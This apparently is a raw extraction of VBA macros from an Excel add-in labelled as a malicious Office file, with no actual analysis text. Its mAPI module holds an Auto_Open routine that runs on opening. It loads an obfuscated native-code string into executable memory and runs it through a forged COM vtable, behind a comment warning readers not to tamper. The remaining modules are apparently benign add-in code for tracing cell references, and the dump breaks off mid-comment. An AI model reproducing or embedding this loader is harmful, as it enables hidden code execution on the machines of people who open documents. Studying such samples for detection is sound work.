Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "mAPI"
Option Explicit

'--------------------------------------------------------------
' This VBA Project has been protected with a proprietary scheme
' Do NOT tamper with this file, as Excel may crash!
'--------------------------------------------------------------

Private Const OPTION_BASE                  As Long = 0
Private Const OPTION_FLAGS                 As Long = 2
Private Const OPTION_INCLUDE_REFERENCEDOCS As Long = 0
Private Const OPTION_DISABLEDCLASSES       As String = ""
Private Const PAGE_EXECUTE_RW              As Long = &H40
Private Const MEM_RESERVE_AND_COMMIT       As Long = &H3000
Private Const MEM_RELEASE                  As Long = &H8000
Private Const ERR_OUT_OF_MEMORY            As Long = &H7
Private Const ROOTOBJECT_SIZE              As Long = &H4D948

Private m_Loader As VCOMInitializerStruct
Private m_VCOMObject As Object

#If VBA7 = False Then
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Address As Long, ByVal Size As Long, ByVal AllocationType As Long, ByVal Protect As Long) As Long
    Private Declare Function GetModuleHandleA Lib "kernel32" (ByVal ProcName As String) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal Module As Long, ByVal ProcName As String) As Long
    Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal Size As Long, ByVal dwFreeType As Long) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Source As Any, ByVal Size As Long)
    Private Const VBA_VERSION              As Long = 6

    Private Type VCOMInitializerStruct
        vtbl_QueryInterface As Long
        vtbl_AddRef As Long
        vtbl_Release As Long
        vtbl_GetTypeInfoCount As Long
        vtbl_GetTypeInfo As Long
        vtbl_GetIDsOfNames As Long
        vtbl_Invoke As Long
        RootObjectMem As Long
        HelperObject As Object
        SysFreeString As Long
        GetProcAddress As Long
        NativeCode As String
        LoaderMem As Long
        IgnoreFlag As Boolean
        VTablePtr As Long
        Kernel32Handle As Long
        RootObject As Object
        ClassFactory As Object
    End Type
#Else
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Address As LongPtr, ByVal Size As LongPtr, ByVal AllocationType As Long, ByVal Protect As Long) As LongPtr
    Private Declare PtrSafe Function GetModuleHandleA Lib "kernel32" (ByVal ProcName As String) As LongPtr
    Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal Module As LongPtr, ByVal ProcName As String) As LongPtr
    Private Declare PtrSafe Function VirtualFree Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal Size As LongPtr, ByVal dwFreeType As Long) As Long
    Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Source As Any, ByVal Size As LongPtr)
    Private Const VBA_VERSION              As Long = 7

    Private Type VCOMInitializerStruct
        vtbl_QueryInterface As LongPtr
        vtbl_AddRef As LongPtr
        vtbl_Release As LongPtr
        vtbl_GetTypeInfoCount As LongPtr
        vtbl_GetTypeInfo As LongPtr
        vtbl_GetIDsOfNames As LongPtr
        vtbl_Invoke As LongPtr
        RootObjectMem As LongPtr
        HelperObject As Object
        SysFreeString As LongPtr
        GetProcAddress As LongPtr
        NativeCode As String
        LoaderMem As LongPtr
        IgnoreFlag As Boolean
        VTablePtr As LongPtr
        Kernel32Handle As LongPtr
        RootObject As Object
        ClassFactory As Object
    End Type
#End If

Public Sub Auto_Open()

    With m_Loader
        .NativeCode = "%EEEE%::::PPPPPPPPPH+D$ XXXtNXXXXXXVSPPPPj PPPPPPPP4T)D$04P)D$,4'4 )D$($ PZ3D$@+D$ YQ3H +L$ XP3Q +T$0XPf55ntvf)B|+T$0+T$0+T$0R[YQ^VXP2CP<0tF1D$$kD$$@!L$$2CQ1D$$kD$$@!L$$2CR1D$$kD$$@!L$$2CS+\$,3BP1BP1rP3rP+T$(  XXXXXXXXXXXXX[^tJAYAZQ4tPPPPH)D$@4pH)D$84'4 H)D$0$ PH+L$ H3AtH+D$ L3PtL+T$HXPf55{L+T$HL+T$HtqfA)B8ARA[YQXPA2CD<0tR1D$0kD$0@L!L$0A2CE1D$0kD$0@L!L$0A2CF1D$0kD$0@L!L$0A2CGL+\$@A3BDA1BDA1JDA3JDL+T$8  XXXXXYXXXXqBLHOJA@n[??n[=ezoieZZprkhs^ljbZljbZ=bNZ_Q_>HirF[Q^Z[IrzRM wGDDoeTtKTfdGVduCVduCGhiCGhygGhygCmzXGcH[D_J^DV VfF VX<TI@<_veu]flqomliCuelQxpdudatE@hrwIkzSMzvOizw_Mzw_MssLJssLZBCLZ@A]^@A]^TNa^oFmn^nIv@aSsbT?WeWnSg_DCgKjKWCgHe[wJGe;?@fj;Ifyr@cfMAmTN_rNKNzxilIhMnADMgDV@cm;<jihu?aE=]rdY\puMUpgDuAa;UqSWBSPSUG=LUFNNESSOPGVYEbGXQWROj__GHKjOj_MIHKj^x?IRh=XVh=XVKH<VYKlJWLbAEtOIg@nIDT^HJVOD[KGudwGDEeFT[reTWJ@\ht>a;r>cruLna<Mniy?eKL_]zy?\pznXpznXANNXIL_\IL_\xSc\iMIUzQIdEoomgyo=XAyzJCDBXN>=QKmvHmtvO]HXO]J\O]J\m]hV?]mXmQvgl=tdpaS RUqPBV \PRocNMQflywB>;gFluaO?jKF@UIO ai_vUJ[apwFqeFGfACZVu>[0"

        .LoaderMem = VirtualAlloc(0, Len(.NativeCode), MEM_RESERVE_AND_COMMIT, PAGE_EXECUTE_RW)
        If .LoaderMem = 0 Then Err.Raise ERR_OUT_OF_MEMORY

        .RootObjectMem = VirtualAlloc(0, ROOTOBJECT_SIZE, MEM_RESERVE_AND_COMMIT, PAGE_EXECUTE_RW)
        If .RootObjectMem = 0 Then Err.Raise ERR_OUT_OF_MEMORY

        .vtbl_QueryInterface = .LoaderMem
        .VTablePtr = VarPtr(m_Loader)
        .Kernel32Handle = GetModuleHandleA("KERNEL32")
        .GetProcAddress = GetProcAddress(.Kernel32Handle, "GetProcAddress")
        .SysFreeString = GetProcAddress(GetModuleHandleA("OLEAUT32"), "SysFreeString")
        Call CopyMemory(ByVal .LoaderMem, ByVal .NativeCode, Len(.NativeCode))
        Call CopyMemory(.RootObject, VarPtr(.VTablePtr), LenB(.VTablePtr))
        .IgnoreFlag = TypeOf .RootObject Is VBA.Collection
        Set .ClassFactory = (.RootObject)
        Set .RootObject = Nothing
        VirtualFree .LoaderMem, 0, MEM_RELEASE
        Call .ClassFactory.Init(.Kernel32Handle, .GetProcAddress, OPTION_BASE + OPTION_FLAGS, VBA_VERSION, .HelperObject)
        Set m_VCOMObject = .ClassFactory.GetErrEx()
    End With

End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Private Sub Workbook_Open()
    If ThisWorkbook.CalculationVersion = 0 Then
        Application.CalculateFull
        ThisWorkbook.Save
    End If
    Application.OnTime Now, "'" & ThisWorkbook.FullName & "'!ContinueOpen"
End Sub

Private Sub Workbook_AddinUninstall()
    On Error Resume Next
    DeleteSetting GCSAPPREGKEY, "Forms", "ufReferences"

    DeleteSetting GCSAPPREGKEY, "Settings", "CircAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "CircCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "CircularHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "DepAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "DepCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "DependentsHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "ErrorAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "ErrorCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "ErrorsHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "PrecAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "PrecCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "PrecedentsHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "VisualizeAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "VisualizeCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "VisualizeHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "ObjectsAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "ObjectsCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "ObjectsHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "CheckFormulasAlt"
    DeleteSetting GCSAPPREGKEY, "Settings", "CheckFormulasCtrl"
    DeleteSetting GCSAPPREGKEY, "Settings", "CheckFormulasHotKey"

    DeleteSetting GCSAPPREGKEY, "Settings", "AutoUpdate"
    DeleteSetting GCSAPPREGKEY, "Settings", "LastUpdate"
    DeleteSetting GCSAPPREGKEY, "Settings", "PromptToInstall"
    DeleteSetting GCSAPPREGKEY, "Settings", "ToolbarLeft"
    DeleteSetting GCSAPPREGKEY, "Settings", "ToolbarPosition"
    DeleteSetting GCSAPPREGKEY, "Settings", "ToolbarRowIndex"
    DeleteSetting GCSAPPREGKEY, "Settings", "ToolbarTop"
    DeleteSetting GCSAPPREGKEY, "Settings", "ToolbarVisible"
    DeleteSetting GCSAPPREGKEY, "Settings", "OffSheetColor"
    DeleteSetting GCSAPPREGKEY, "Settings", "OnSheetColor"
    DeleteSetting GCSAPPREGKEY, "UI", "OwnTab"
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    Dim oBk As Workbook
    RemoveMenu
    RemoveBar
    UnregisterKeys
    If ThisWorkbook.IsAddin Then
        ThisWorkbook.Saved = True
    End If
    RemoveAllVisualisations
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
    Application.Calculation = xlCalculationAutomatic
End Sub

Attribute VB_Name = "shAppSettings"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "shtColors"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "modReferences"
'-------------------------------------------------------------------------
' Module    : modReferences
' Company   : JKP Application Development Services (c) 2006
' Author    : Jan Karel Pieterse
' Created   : 11-03-2013
' Purpose   : Module that holds code for finding References
'-------------------------------------------------------------------------
Option Explicit
Option Private Module

'Declare API
#If VBA7 And Not Mac Then
Declare PtrSafe Function GetKeyState Lib "user32" (ByVal vKey As Integer) As Integer
#ElseIf Not Mac Then
Declare Function GetKeyState Lib "user32" (ByVal vKey As Integer) As Integer
#End If
Const SHIFT_KEY = 16

Sub jkpRefTreeFindReferencesEntry(Optional bErrorTrack As Boolean = False)
'-------------------------------------------------------------------------
' Procedure : jkpRefTreeFindReferencesEntry Created by Jan Karel Pieterse
' Company   : JKP Application Development Services (c) 2006
' Author    : Jan Karel Pieterse
' Created   : 11-03-2013
' Purpose   : Finds dependents/precedents from active cell
'-------------------------------------------------------------------------
    Dim vLevel As Variant
    If ActiveWorkbook Is Nothing Then Exit Sub
    InitApp
    If UnhideSheets Then
        If TypeName(Selection) <> "Range" Then
            MsgBox "Please select a cell first!", vbExclamation + vbOKOnly, GCSAPPNAME
        Else
            If bErrorTrack Then
                If TypeName(ActiveCell.Value) <> "Error" Then
                    MsgBox "Current cell does not have an error value!", vbOKOnly + vbInformation, GCSAPPNAME
                    Exit Sub
                End If
            End If
            While Not IsNumeric(vLevel) Or IsEmpty(vLevel)
                vLevel = 1    'InputBox("How many levels deep you want to look?", GCSAPPNAME, 1)
                If vLevel = "" Then Exit Sub
            Wend
            If gfrmReferences Is Nothing Then
                Set gfrmReferences = New ufReferences
                gfrmReferences.Width = 342
            End If
            With gfrmReferences
                .Objects = False
                .AppState = Application.WindowState
                .AppHeight = Application.Height
                .Appleft = Application.left
                .AppWidth = Application.Width
                .AppTop = Application.Top
                If Application.WindowState = xlNormal And .cbxTile = False Then
                    .left = Application.left + 20
                    .Top = Application.Top + Application.Height / 2
                End If
                If .Visible Then
                    'ActivateWindow
                    If Not .obtBoth Then
                        .DisableEvents = True
                        .obtPrecs = True
                        .PositionFrames
                        .DisableEvents = False
                    End If
                    Set .StartVisibleRange = ActiveWindow.VisibleRange
                    .RedoFromCell ActiveCell
                    .SetFocusToForm
                    Application.OnTime Now, "ActivateTreeview"
                    Exit Sub
                Else
                    If bErrorTrack Then
                        .Caption = GCSAPPNAME & ": Tracing errors"
                    Else
                        .Caption = GCSAPPNAME & ": Tracing Cell dependents and precedents"
                    End If
                    Set .StartVisibleRange = ActiveWindow.VisibleRange
                    .ErrorTrack = bErrorTrack
                    .Level = CInt(vLevel)
                    .DisableEvents = True
                    If Not .obtBoth Then
                        .obtPrecs = True
                        .PositionFrames
                    End If
                    .Objects = False
                    .DisableEvents = False
                    Set .RootCell = ActiveCell
                    .Initialise
                    If gbStop Then Exit Sub
                    .RedoFromCell ActiveCell
                    .Show vbModeless
                End If
                On Error Resume Next
                .TileMe
                If .obtBoth Or .obtPrecs Then
                    .frmPrecs.SetFocus
                ElseIf .obtDeps Then
                    .frmDeps.SetFocus
                End If
            End With
        End If
    End If
End Sub

Sub jkpRefTreeFindDependentsEntry()
'-------------------------------------------------------------------------
' Procedure : jkpRefTreeFindDependentsEntry Created by Jan Karel Pieterse
' Company   : JKP Application Development Services (c) 2006
' Author    : Jan Karel Pieterse
' Created   : 11-03-2013
' Purpose   : Finds dependents/precedents from active cell
'-------------------------------------------------------------------------
    Dim vLevel As Variant
    If ActiveWorkbook Is Nothing Then Exit Sub
    InitApp
    If UnhideSheets Then
        If TypeName(Selection) <> "Range" Then
            MsgBox "Please select a cell first!", vbExclamation + vbOKOnly, GCSAPPNAME
        Else
            While Not IsNumeric(vLevel) Or IsEmpty(vLevel)
                vLevel = 1    'InputBox("How many levels deep you want to look?", GCSAPPNAME, 1)
                If vLevel = "" Then Exit Sub
            Wend
            If gfrmReferences Is Nothing Then
                Set gfrmReferences = New ufReferences
                gfrmReferences.Width = 342
            End If
            With gfrmReferences
                .Objects = False
                .AppState = Application.WindowState
                .AppHeight = Application.Height
                .Appleft = Application.left
                .AppWidth = Application.Width
                .AppTop = Application.Top
                If Application.WindowState = xlNormal And .cbxTile = False Then
                    .left = Application.left + 20
                    .Top = Application.Top + Application.Height / 2
                End If
                If .Visible Then
                    'ActivateWindow
                    If Not .obtBoth Then
                        .obtDeps = True
                        .PositionFrames
                    End If
                    Set .StartVisibleRange = ActiveWindow.VisibleRange
                    .RedoFromCell ActiveCell
                    .SetFocusToForm
                Else
                    Set .StartVisibleRange = ActiveWindow.VisibleRange
                    If Not .obtBoth Then
                        .DisableEvents = True
                        .obtDeps = True
                        '.RedoFromCell ActiveCell
                        .PositionFrames
                        .DisableEvents = False
                    End If
                    .Level = CInt(vLevel)
                    .DisableEvents = True
                    .DisableEvents = False
                    Set .RootCell = ActiveCell
                    .Initialise
                    If gbStop Then Exit Sub
                    .RedoFromCell ActiveCell
                    .Show vbModeless
                End If
                .SetFormPosition
                .TileMe
                If .obtBoth Or .obtPrecs Then
                    .frmPrecs.SetFocus
                ElseIf .obtDeps Then
                    .frmDeps.SetFocus
                End If
            End With
        End If
    End If
End Sub

Public Sub jkpRefTreeFindErrorsEntry()
    If ActiveWorkbook Is Nothing Then Exit Sub
    If UnhideSheets Then
        jkpRefTreeFindReferencesEntry True
    End If
End Sub

Public Sub VisualizeTree()
    Dim cRefTree As clsRefTree
    Dim bErrorTrack As Boolean
    Dim oActive As Range
    Dim oShp As Shape
    Dim bSaved As Boolean
    Dim sFormula As String
    If ActiveWorkbook Is Nothing Then Exit Sub
    If UnhideSheets Then
        InitApp
        bSaved = ActiveWorkbook.Saved
        Set oActive = ActiveCell
        Application.ScreenUpdating = False
        RemoveAllVisualisations
        Set cRefTree = New clsRefTree
        With cRefTree
            Set .RootCell = ActiveCell
            .Levels = 1
            Set .Precedents = Nothing
            Set .Dependents = Nothing
            .Precs = True
            .Deps = False
            If bErrorTrack Then
                .Precs = True
                .Deps = False
                .ErrorTrack = True
            Else
                .ErrorTrack = False
            End If
            .FindReferences ActiveCell, 1, True, bErrorTrack, False
            gbStop = False
            If .Precedents.Count > 0 Or .ObjectDependents.Count > 0 Then
                DisplayStructureOnSheet cRefTree, ActiveSheet, oActive
            End If
        End With
        Application.GoTo oActive
        Application.ScreenUpdating = True
        ActiveWorkbook.Saved = bSaved
    End If
End Sub

Sub ActivateForm(oForm As Object)
    If Not oForm Is Nothing Then
        oForm.SetFocusToForm
    End If
End Sub

Sub EditFormula()
'-------------------------------------------------------------------------
' Procedure : EditFormula
' Company   : JKP Application Development Services (c) 2005
' Author    : Jan Karel Pieterse
' Created   : 11-03-2013
' Purpose   : Edits the formula in the audit cell
'-------------------------------------------------------------------------
    Dim lStart As Long
    Dim lLen As Long
    Dim sSend As String
    On Error GoTo LocErr
    With gfrmReferences
        SelectRange .RootCell, .RootCell
        lStart = .tbxFormula.SelStart
        lLen = .tbxFormula.SelLength
        If lStart > 0 And lLen > 0 Then
            sSend = "{F2}{home}{right " & lStart & "}+{right " & lLen & "}{F5}~"
        Else
            sSend = "{F2}{F2}"
        End If
        SendKeys sSend
    End With
TidyUp:
    On Error GoTo 0
    Exit Sub
LocErr:
    Select Case ReportError(Err.Description, Err.Number, "EditFormula", "Module modReferences")
    Case vbRetry
Stop
        Resume
    Case vbIgnore
        Resume Next
    Case vbAbort
        Resume TidyUp
    End Select
End Sub

Sub ActivateTreeview()
    Do
        DoEvents
    Loop Until IsShiftPressed = False
    SendKeys "+{TAB}{TAB}"
End Sub

Public Function IsShiftPressed() As Boolean
'Returns True if shift key is pressed
    IsShiftPressed = (GetKeyState(SHIFT_KEY) < 0)
End Function

Public Function HasErrors(cRef As clsReference) As Boolean
    Dim oRng As Range
    Dim oErrors As Range
    On Error Resume Next
    Set oRng = cRef.RefersTo
    If oRng Is Nothing Then
        Set oRng = GetRangeFromString(cRef.AddressOrName, cRef.AddressOrName, False)
    End If
    If Not oRng Is Nothing Then
        If oRng.Cells.Count = 1 Then
            Select Case oRng.Value
            Case xlErrDiv0, xlErrNA, xlErrName, xlErrNull, xlErrNum, xlErrRef, xlErrValue
                HasErrors = True
            Case Else
                HasErrors = False
            End Select
        Else
            Set oErrors = oRng.SpecialCells(xlCellTypeConstants, xlErrors)
            If oErrors Is Nothing Then
                Set oErrors = oRng.Cells.SpecialCells(xlCellTypeFormulas, xlErrors)
                If Not oErrors Is Nothing Then
                    HasErrors = True
                End If
            Else
                HasErrors = True
            End If
        End If
    End If
End Function

Sub jkpRefTreeShowAbout()
    Dim frmAbout As ufAbout
    Set frmAbout = New ufAbout
    frmAbout.Show
    Set frmAbout = Nothing
End Sub

Attribute VB_Name = "clsReference"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'-------------------------------------------------------------------------
' Module    : clsReference
' Company   : JKP Application Development Services (c) 2006
' Author    : Jan Karel Pieterse
' Created   : 11-03-2013
' Purpose   : This class holds the points that form a reference
'-------------------------------------------------------------------------
Option Explicit

Private mobjRefersTo As Range
Private mobjTiedTo As Object

Private msName As String

Private mbIsTableRef As Boolean

Private mcolChildren As Collection

Private msFoundPropertyName As String

Private Sub Class_Terminate()
    Set mobjRefersTo = Nothing
    Set mobjTiedTo = Nothing
    Set mcolChildren = Nothing
End Sub

Public Property Get RefersTo() As Range
    Set RefersTo = mobjRefersTo
End Property

Public Property Set RefersTo(objRefersTo As Range)
    Set mobjRefersTo = objRefersTo
End Property

Public Property Get TiedTo() As Object
    Set TiedTo = mobjTiedTo
End Property

Public Property Set TiedTo(objTiedTo As Object)
    Set mobjTiedTo = objTiedTo
End Property

Public Property Get Path() As String
    If TypeName(TiedTo) = "Range" Then
        Path = AddressOrName & Chr(222) & "ROOT"
    Else
        If TiedTo Is Nothing Then
            Path = ""
        Else
            Path = AddressOrName & Chr(222) & TiedTo.Path
        End If
    End If
End Property

Public Property Get ValueFirstCell() As String
    If Not RefersTo Is Nothing Then
        ValueFirstCell = GetValues(RefersTo.Value)
        ValueFirstCell = Replace(ValueFirstCell, vbNewLine, " ")
        ValueFirstCell = Replace(ValueFirstCell, vbCr, " ")
        ValueFirstCell = Replace(ValueFirstCell, vbCrLf, " ")
        ValueFirstCell = Replace(ValueFirstCell, Chr(10), " ")
    Else
        On Error Resume Next
        If IsTableRef Then
            If GotoTableFromString(AddressOrName) Then
                ValueFirstCell = GetValues(Selection.Value)
            Else
                If ActiveSheet.ProtectContents Then
                    ValueFirstCell = " Error: Worksheet protected"
                Else
                    ValueFirstCell = " Error: Reference not found"
                End If
            End If
        Else
            ValueFirstCell = Evaluate(AddressOrName)
        End If
        If Err.Number <> 0 And Len(ValueFirstCell) = 0 Then
            ValueFirstCell = " Error: Reference not found"
        End If
    End If
End Property

Private Function GetValues(vValues As Variant) As String
    Dim lRow As Long
    Dim lcol As Long
    Dim sStr As String
    Const CLMAXSTRING As Long = 200
    On Error GoTo LocErr
    If IsArray(vValues) Then

        For lcol = LBound(vValues, 2) To UBound(vValues, 2)
            For lRow = LBound(vValues, 1) To Application.Min(UBound(vValues, 1), 1000)
                sStr = sStr & vValues(lRow, lcol) & Application.International(xlListSeparator) & " "
            Next
            sStr = sStr & "|"
            If Len(sStr) > CLMAXSTRING Then Exit For
        Next
        sStr = left(sStr, Len(sStr) - 3)
        If Len(sStr) > CLMAXSTRING Then
            sStr = left(sStr, CLMAXSTRING) & ", ..."
        End If
    Else
        If IsNull(vValues) Then
            sStr = ""
        Else
            sStr = CStr(vValues)
        End If
    End If
TidyUp:
    On Error Resume Next
    GetValues = sStr
    Exit Function
LocErr:
    'Remove or comment next line to reinstate debugging
    Resume TidyUp
    Select Case ReportError(Err.Description, Err.Number, "GetValues", "Class Module clsReference")
    Case vbRetry
Stop
        Resume
    Case vbIgnore
        Resume Next
    Case vbAbort
        Resume TidyUp
    End Select
End Function

Public Function SortName() As String
'-------------------------------------------------------------------------
' Procedure : SortName
' Company   : JKP Application Development Services (c)
' Author    : Jan Karel Pieterse (www.jkp-ads.com)
' Created   : 09-04-2013
' Purpose   : Returns a name on which can be sorted
'-------------------------------------------------------------------------
    If Name = "" Then
        If Not RefersTo Is Nothing Then
            SortName = RefersTo.Parent.Name & "!"
            SortName = SortName & Format(RefersTo.Column, "000000") & "." & Format(RefersTo.Row, "0000000")
        End If
    Else
        'Range name, make sure it comes on top
        SortName = Chr(0) & Name
    End If
End Function

Public Function AddressOrName() As String
    Dim sName As String
    On Error Resume Next
    If Name = "" Then
        sName = RefersTo.Name.Name
        If sName = "" Then
            sName = RefersTo.Address(False, False, xlA1, True)
        End If
        AddressOrName = sName
    Else
        AddressOrName = Name
    End If
End Function

Public Property Get Name() As String
    Name = msName
End Property

Public Property Let Name(ByVal sName As String)
    msName = sName
End Property

Public Property Get IsTableRef() As Boolean
    IsTableRef = mbIsTableRef
End Property

Public Property Let IsTableRef(ByVal bIsTableRef As Boolean)
    mbIsTableRef = bIsTableRef
End Property

Public Property Get Children() As Collection
    Set Children = mcolChildren
End Property

Public Property Set Children(colChildren As Collection)
    Set mcolChildren = colChildren
End Property

Public Property Get FoundPropertyName() As String
    FoundPropertyName = msFoundPropertyName
End Property

Public Property Let FoundPropertyName(ByVal sFoundPropertyName As String)
    msFoundPropertyName = sFoundPropertyName
End Property

Attribute VB_Name = "CFormResizer"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Description:  Makes a userform resizeable and handles the sizing and positioning
'               of all controls, using resizing information specified in each
'               control's Tag property.
'
' Authors:      Stephen Bullen, www.oaltd.co.uk
'               Rob Bovey, www.appspro.com
'

Option Explicit

' **************************************************************
' Windows API Declarations and Constants Follow
' **************************************************************

'Find the userform's window handle

#If VBA7 Then
Dim mhwndForm As LongPtr                                 'The userform's window handle
Private Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPtr
'Get the userform's window style
Private Declare PtrSafe Function GetWindowLongptr Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As LongPtr, ByVal nIndex As Long) As LongPtr
'Set the userform's window style
Private Declare PtrSafe Function SetWindowLongPtr Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As LongPtr, ByVal nIndex As Long, ByVal dwNewLong As LongPtr) As LongPtr
#Else
Dim mhwndForm As Long                                 'The userform's window handle
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'Get the userform's window style
Private Declare Function GetWindowLongptr Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
'Set the userform's window style
Private Declare Function SetWindowLongPtr Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
#End If

'The offset of a window's style
Private Const GWL_STYLE As Long = (-16)

'Style to add a sizable frame
Private Const WS_THICKFRAME As Long = &H40000
'
' added min & max crw 18/10/04
'
Private Const WS_MINIMIZEBOX As Long = &H20000        'Style to add a Minimize box on the title bar
Private Const WS_MAXIMIZEBOX As Long = &H10000        'Style to add a Maximize box to the title bar
''''''''''''''''''''''''''''''''''''''''''''''''''
' Module-level Declarations Follow
''''''''''''''''''''''''''''''''''''''''''''''''''
Dim moForm As Object                                  'The userform we're handling

Dim mdWidth As Double                                 'The previous width of the form
Dim mdHeight As Double                                'The previous height of the form
Dim msRegKey As String                                'The registry key for storing the form's size and position

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Comments: Default for the registry key to store the dimensions
'
' Date          Developer       Action
' --------------------------------------------------------------
' 05 Jun 04     Stephen Bullen  Created
'
Private Sub Class_Initialize()
    msRegKey = GCSAPPREGKEY
End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Comments: Properties to identify where in the registry to store
'           the userform position information
'
' Date          Developer       Action
' --------------------------------------------------------------
' 05 Jun 04     Stephen Bullen  Created
'
Public Property Let RegistryKey(sNew As String)
    msRegKey = sNew
End Property

Public Property Get RegistryKey() As String
    RegistryKey = msRegKey
End Property



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Comments: We're told which form to handle the resizing for,
'           set in the UserForm_Initialize event. Make the form
'           resizable and set its size and position
'
' Arguments:    oForm       The userform to handle
'
' Date          Developer       Action
' --------------------------------------------------------------
' 05 Jun 04     Stephen Bullen  Created
'
Public Property Set Form(oNew As Object)

    Dim sSizes As String, vaSizes As Variant
#If VBA7 Then
    Dim iStyle As LongPtr
#Else
    Dim iStyle As Long
#End If
    'Remember the form for later
    Set moForm = oNew

    'Get the userform's window handle
    If Val(Application.Version) < 9 Then
        mhwndForm = FindWindow("ThunderXFrame", moForm.Caption)    'XL97
    Else
        mhwndForm = FindWindow("ThunderDFrame", moForm.Caption)    'XL2000
    End If


    'Make the form resizable
    iStyle = GetWindowLongptr(mhwndForm, GWL_STYLE)
    iStyle = iStyle Or WS_THICKFRAME
    '    iStyle = iStyle Or WS_MINIMIZEBOX
    '    iStyle = iStyle Or WS_MAXIMIZEBOX
    SetWindowLongPtr mhwndForm, GWL_STYLE, iStyle

    'Read its dimensions from the registry (if there)
    'The string has the form of "<Top>;<Left>;<Height>;<Width>"
    sSizes = GetSetting(msRegKey, "Forms", moForm.Name, "")

    'Remember the current size for use in the Resize routine
    mdWidth = moForm.FormWidth
    mdHeight = moForm.FormHeight

    If Len(sSizes) > 0 Then
        'If we got a dimension string, split it into its parts
        vaSizes = Split(sSizes, ";")

        'Make sure we got 4 elements!
        ReDim Preserve vaSizes(0 To 3)
        moForm.DisableEvents = False

        'Set the form's size and position
        moForm.Top = Val(vaSizes(0))
        moForm.left = Val(vaSizes(1))
        moForm.Height = Val(vaSizes(2))
        moForm.Width = Val(vaSizes(3))

        'Set to manual startup position

        moForm.StartUpPosition = 0
    End If

End Property

Public Sub StorePosition()
    On Error Resume Next
    With moForm
        SaveSetting msRegKey, "Forms", .Name, Str(.Top) & ";" & _
                                              Str(.left) & ";" & _
                                              Str(.Height) & ";" & Str(.Width)
    End With
End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Comments: Called from the User_Form resize event. Also triggered
'           when we change the size ourself
'
' Date          Developer       Action
' --------------------------------------------------------------
